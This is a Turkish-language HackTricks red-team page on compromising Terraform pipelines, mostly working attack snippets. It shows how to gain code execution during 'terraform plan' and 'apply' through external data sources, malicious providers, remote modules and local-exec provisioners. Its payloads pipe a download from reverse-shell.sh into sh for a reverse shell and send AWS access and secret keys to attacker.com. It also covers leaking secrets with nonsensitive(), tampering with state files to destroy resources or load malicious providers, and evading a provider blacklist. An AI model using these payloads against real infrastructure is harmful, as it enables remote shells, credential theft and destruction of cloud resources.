Terraform Security

Sıfırdan kahraman olmak için AWS hackleme öğrenin htARTE (HackTricks AWS Kırmızı Takım Uzmanı)!

HackTricks'ı desteklemenin diğer yolları:

Temel Bilgiler

Belgelerden:

HashiCorp Terraform, insan tarafından okunabilir yapılandırma dosyalarında bulut ve yerinde kaynakları tanımlamanıza olanak tanıyan bir altyapı kodu aracıdır. Bu dosyaları sürümleyebilir, yeniden kullanabilir ve paylaşabilirsiniz. Ardından, tüm altyapınızın yaşam döngüsü boyunca bir tutarlı iş akışını kullanarak altyapınızı sağlamlaştırabilir ve yönetebilirsiniz. Terraform, hesaplama, depolama ve ağ kaynakları gibi düşük seviyeli bileşenleri yönetebilirken, DNS girişleri ve SaaS özellikleri gibi yüksek seviyeli bileşenleri de yönetebilir.

Terraform nasıl çalışır?

Terraform, bulut platformlarında ve diğer hizmetlerde kaynakları oluşturur ve yönetirken uygulama programlama arayüzleri (API'ler) aracılığıyla çalışır. Sağlananlar, Terraform'un erişilebilir bir API ile neredeyse herhangi bir platform veya hizmetle çalışmasını sağlar.

HashiCorp ve Terraform topluluğu 1700'den fazla sağlayıcı yazmıştır ve binlerce farklı türde kaynağı ve hizmeti yönetmek için bu sayı devam etmektedir. Amazon Web Services (AWS), Azure, Google Cloud Platform (GCP), Kubernetes, Helm, GitHub, Splunk, DataDog ve daha birçok sağlayıcıyı içeren tüm genel olarak kullanılabilir sağlayıcıları Terraform Registry üzerinde bulabilirsiniz.

Temel Terraform iş akışı üç aşamadan oluşur:

  • Yazma: Kaynakları tanımlarsınız, bu kaynaklar birden fazla bulut sağlayıcı ve hizmette olabilir. Örneğin, bir uygulamayı sanal makinelerde bir Sanal Özel Ağ (VPC) ağındaki güvenlik grupları ve bir yük dengeleyici ile dağıtmak için bir yapılandırma oluşturabilirsiniz.

  • Planlama: Terraform, mevcut altyapı ve yapılandırmanıza dayanarak oluşturacağı, güncelleyeceği veya sileceği altyapıyı tanımlayan bir yürütme planı oluşturur.

  • Uygulama: Onaylandığında, Terraform önerilen işlemleri doğru sırayla gerçekleştirir ve herhangi bir kaynak bağımlılığını dikkate alır. Örneğin, bir VPC'nin özelliklerini güncellerseniz ve bu VPC'deki sanal makinelerin sayısını değiştirirseniz, Terraform önce VPC'yi yeniden oluşturacak ve ardından sanal makineleri ölçeklendirecektir.

Terraform Laboratuvarı

Sadece bilgisayarınıza terraform yükleyin.

İşte bir kılavuz ve işte terraform'ı indirmenin en iyi yolu.

Terraform'da Uzaktan Kod Çalıştırma (RCE)

Terraform'ın bir web sayfası veya ağ hizmeti sunan bir platformu yoktur, bu nedenle terraform'ı kompromize etmenin tek yolu terraform yapılandırma dosyalarını ekleyebilmek/değiştirebilmektir.

Ancak, terraform, farklı konumlara ayrıcalıklı erişim sağlayacak şekilde çalışabilmesi için çok hassas bir bileşendir.

Bir saldırganın terraform'ın çalıştığı sistemdeki sistemi kompromize edebilmesi için temel yol, terraform yapılandırmalarını depolayan depoyu kompromize etmesidir, çünkü bir noktada bunlar yorumlanacaklardır.

Aslında, bir PR oluşturulduktan sonra otomatik olarak terraform plan/apply işlemini gerçekleştiren çözümler vardır, örneğin Atlantis:

pageAtlantis Security

Bir terraform dosyasını ele geçirebilirseniz, birisi terraform plan veya terraform apply çalıştırdığında farklı yollarla RCE gerçekleştirebilirsiniz.

Terraform plan

Terraform plan, terraform'da en çok kullanılan komuttur ve geliştiriciler/terraform kullanan çözümler sürekli olarak bunu çağırır, bu nedenle RCE almanın en kolay yolu, bir terraform plan sırasında keyfi komutları çalıştıracak şekilde zehirlemiş bir terraform yapılandırma dosyası oluşturmaktır.

Harici bir sağlayıcı kullanarak

Terraform, Terraform ve harici programlar arasında bir arayüz sağlayan external sağlayıcıyı sunar. external veri kaynağını kullanarak bir plan sırasında keyfi kod çalıştırabilirsiniz.

Bir terraform yapılandırma dosyasına aşağıdakine benzer bir şey enjekte etmek, terraform plan çalıştırıldığında bir ters shell çalıştıracaktır:

data "external" "example" {
program = ["sh", "-c", "curl https://reverse-shell.sh/8.tcp.ngrok.io:12946 | sh"]
}

Özel bir sağlayıcı kullanma

Bir saldırgan, özel bir sağlayıcıyı Terraform Registry'e gönderebilir ve daha sonra bunu bir özellik dalında Terraform koduna ekleyebilir (buradan örnek):

terraform {
required_providers {
evil = {
source  = "evil/evil"
version = "1.0"
}
}
}

provider "evil" {}

Sağlayıcı initte indirilir ve plan çalıştırıldığında kötü amaçlı kodu çalıştıracaktır.

Örneği https://github.com/rung/terraform-provider-cmdexec adresinde bulabilirsiniz.

Harici bir referans kullanma

Bahsedilen her iki seçenek de faydalıdır ancak çok gizli değildir (ikincisi birinci seçeneğe göre daha gizli ancak daha karmaşıktır). Bu saldırıyı hatta daha gizli bir şekilde gerçekleştirebilirsiniz, aşağıdaki önerileri takip ederek:

  • Terraform dosyasına doğrudan ters kabuk eklemek yerine, ters kabuğu içeren harici bir kaynağı yükleyebilirsiniz:

module "not_rev_shell" {
source = "git@github.com:carlospolop/terraform_external_module_rev_shell//modules"
}

Rev shell kodunu https://github.com/carlospolop/terraform_external_module_rev_shell/tree/main/modules adresinde bulabilirsiniz.

  • Dış kaynağı kullanırken, ref özelliğini kullanarak repo içinde bir dalda terraform rev shell kodunu gizlemek için şöyle bir şey yapabilirsiniz: git@github.com:carlospolop/terraform_external_module_rev_shell//modules?ref=b401d2b

Terraform Apply

Tüm değişiklikleri uygulamak için Terraform apply komutu çalıştırılacaktır, ayrıca yerel yürütme ile RCE elde etmek için kötü niyetli bir Terraform dosyası enjekte edebilirsiniz. Sadece aşağıdaki gibi bir payload'ın main.tf dosyasında yer aldığından emin olmanız yeterlidir:

// Payload 1 to just steal a secret
resource "null_resource" "secret_stealer" {
provisioner "local-exec" {
command = "curl https://attacker.com?access_key=$AWS_ACCESS_KEY&secret=$AWS_SECRET_KEY"
}
}

// Payload 2 to get a rev shell
resource "null_resource" "rev_shell" {
provisioner "local-exec" {
command = "sh -c 'curl https://reverse-shell.sh/8.tcp.ngrok.io:12946 | sh'"
}
}

Sırların Sızdırılması

terraform apply komutunu çalıştırarak terraform tarafından kullanılan gizli değerlerin sızdırılmasını sağlamak için terraform dosyasına şöyle bir şey ekleyebilirsiniz:

output "dotoken" {
value = nonsensitive(var.do_token)
}

Terraform Durum Dosyalarının Kötüye Kullanılması

Eğer terraform durum dosyaları üzerinde yazma erişiminiz varsa ancak terraform kodunu değiştiremiyorsanız, bu araştırma dosyadan faydalanmanın bazı ilginç seçeneklerini sunar:

Kaynakları Silme

Kaynakları yok etmek için 2 yol vardır:

  1. Gerçek kaynağa işaret eden rastgele bir isimle bir kaynak durum dosyasına ekleyin

Çünkü terraform, kaynağın var olmaması gerektiğini görecek ve onu yok edecektir (belirtilen gerçek kaynak kimliğini takip ederek). Önceki sayfadaki örnek:

{
"mode": "managed",
"type": "aws_instance",
"name": "example",
"provider": "provider[\"registry.terraform.io/hashicorp/aws\"]",
"instances": [
{
"attributes": {
"id": "i-1234567890abcdefg"
}
}
]
},
  1. Kaynağı silmek için değiştirin, güncellenemeyecek şekilde (böylece silinecek ve yeniden oluşturulacak)

Bir EC2 örneği için, örneğin türünü değiştirmek, terraform'un silip yeniden oluşturmasını sağlamak için yeterlidir.

Uzaktan Kod Çalıştırma (RCE)

Ayrıca, özel bir sağlayıcı oluşturmak ve terraform durum dosyasındaki sağlayıcılardan birini kötü niyetli olanla değiştirmek veya kötü niyetli sağlayıcıyla boş bir kaynak eklemek de mümkündür. Özgün araştırmadan bir örnek:

"resources": [
{
"mode": "managed",
"type": "scaffolding_example",
"name": "example",
"provider": "provider[\"registry.terraform.io/dagrz/terrarizer\"]",
"instances": [

]
},

Kara listeye alınmış sağlayıcıyı değiştirin

Eğer hashicorp/external durumunda kara listeye alındığınız bir durumla karşılaşırsanız, aşağıdakileri yaparak external sağlayıcısını yeniden uygulayabilirsiniz. Not: https://registry.terraform.io/providers/nazarewk/external/latest adresinde yayınlanan dış sağlayıcı çatalını kullanıyoruz. Kendi çatalınızı yayınlayabilir veya yeniden uygulayabilirsiniz.

terraform {
required_providers {
external = {
source  = "nazarewk/external"
version = "3.0.0"
}
}
}

Ardından external'ı normal şekilde kullanabilirsiniz.

data "external" "example" {
program = ["sh", "-c", "whoami"]
}

Denetim Araçları

  • tfsec: tfsec, terraform kodunuzu statik analiz ederek potansiyel yanlış yapılandırmaları tespit etmek için kullanır.

  • terascan: Terrascan, Altyapı olarak Kod için bir statik kod analizcisi.

Referanslar

Sıfırdan kahraman olmak için AWS hackleme öğrenin htARTE (HackTricks AWS Red Team Expert)!

HackTricks'ı desteklemenin diğer yolları:

Last updated